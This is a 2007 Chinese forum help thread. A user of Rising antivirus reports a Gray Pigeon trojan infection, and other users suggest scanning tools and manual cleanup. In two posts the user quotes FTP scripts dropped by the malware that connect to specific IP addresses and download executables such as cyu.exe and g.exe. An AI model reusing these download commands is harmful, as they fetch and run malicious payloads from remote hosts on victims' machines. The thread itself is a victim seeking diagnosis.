12   1  /  2  页   跳转页

顽强的小毒(瑞星正版用户)

收藏
月亮崽崽
头像
初生襁褓狮
  • 帖子:12
  • 注册: 2007-11-29
  • 来自:
发表于： 2007-11-29 18:43 | 只看楼主 短消息 资料
字号： 小 中 大 1楼

顽强的小毒(瑞星正版用户)

以前的苦恼就不说了
N次折腾后,重做了新系统
昨天晚上打好补丁,OK
但刚刚突然,防火墙提示 自动认证了ftp.exe　（大概是这个意思）
系统　ＣＰＵ　１００％
查了会后发现C:\WINDOWS\system32　多了点东西
打开　多出的　nov.sys 　居然是

open 125.65.111.79
new
123
get 804860942.exe cyu.exe
bye
　
找到了 cyu.exe 但没找到804860942.exe
传上了，有高手帮我诊断诊断

-----ps 事发后我把　ftp.exe cmd.exe禁止掉了，不知道有用没

[用户系统信息]Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.2; .NET CLR 1.1.4322)

附件附件:

下载次数:127
文件类型:application/octet-stream
文件大小:
上传时间:2007-11-29 18:43:06
描述:

最后编辑2007-12-16 11:38:04
分享到：
gototop
 
月亮崽崽
头像
初生襁褓狮
  • 帖子:12
  • 注册: 2007-11-29
  • 来自:
发表于： 2007-11-29 21:08 | 只看楼主 短消息 资料
字号： 小 中 大 2楼

有高手吗？
gototop
 
月亮崽崽
头像
初生襁褓狮
  • 帖子:12
  • 注册: 2007-11-29
  • 来自:
发表于： 2007-11-30 09:03 | 只看楼主 短消息 资料
字号： 小 中 大 3楼

今天又有了新东西
同样在　C:\WINDOWS\system32　下
多出了　cc1.txt
　内容如下

open 59.52.29.229
admin
syw
binary
get g.exe
bye

在Ｃ盘根目录下多了个　8.exe
打包传上

附件附件:

下载次数:221
文件类型:application/octet-stream
文件大小:
上传时间:2007-11-30 9:03:59
描述:
gototop
 
农村阿哥
头像
初生襁褓狮
  • 帖子:16
  • 注册: 2007-11-29
  • 来自:
发表于： 2007-11-30 11:25 | 短消息 资料
字号： 小 中 大 4楼

用瑞星08版试试，下载后升级到最新版本，在正常上模式下查杀，不行就在安全模式下查杀，或同时还可以用windows清理及windows优化大师，都试试看
gototop
 
月亮崽崽
头像
初生襁褓狮
  • 帖子:12
  • 注册: 2007-11-29
  • 来自:
发表于： 2007-11-30 13:15 | 只看楼主 短消息 资料
字号： 小 中 大 5楼

已经是最新的０８版杀毒+防火墙
安全模式正常模式全试了
gototop
 
月亮崽崽
头像
初生襁褓狮
  • 帖子:12
  • 注册: 2007-11-29
  • 来自:
发表于： 2007-11-30 13:49 | 只看楼主 短消息 资料
字号： 小 中 大 6楼

使用windows清理　发现是
G-server
灰鸽子木马及其变种

但其没杀掉
正在考虑如何彻底清理中．．．

感谢　农村阿哥
gototop
 
453terter
头像
初生襁褓狮
  • 帖子:1
  • 注册: 2007-11-17
  • 来自:
发表于： 2007-11-30 16:17 | 短消息 资料
字号： 小 中 大 7楼

换杀软吧瑞星不行连灰鸽子都搞不定。。。不过其主动防御还是有点效果
gototop
 
还是天月
头像
强壮不惑狮
  • 帖子:823
  • 注册: 2007-11-21
  • 来自:
发表于： 2007-11-30 16:20 | 短消息 资料
字号： 小 中 大 8楼

扫SRENG日志。
gototop
 
不会防黑的菜鸟
头像
初生襁褓狮
  • 帖子:1
  • 注册: 2007-11-30
  • 来自:
发表于： 2007-11-30 17:19 | 短消息 资料
字号： 小 中 大 9楼

瑞星真的那么差呀上，要 是这样的话我看我还是用别的杀毒软件算了，听说卡巴很强呀上，不知性能怎样。
gototop
 
我恨我痴情
头像
强壮不惑狮
  • 帖子:757
  • 注册: 2004-06-02
  • 来自:
发表于： 2007-11-30 18:05 | 短消息 资料
字号： 小 中 大 10楼

LSD..卡巴也不杂的..

都用过了嘛..

有些病毒还是要靠手动的...
gototop
 
<<上一主题|下一主题>>
12   1  /  2  页   跳转页
页面顶部
Powered by Discuz!NT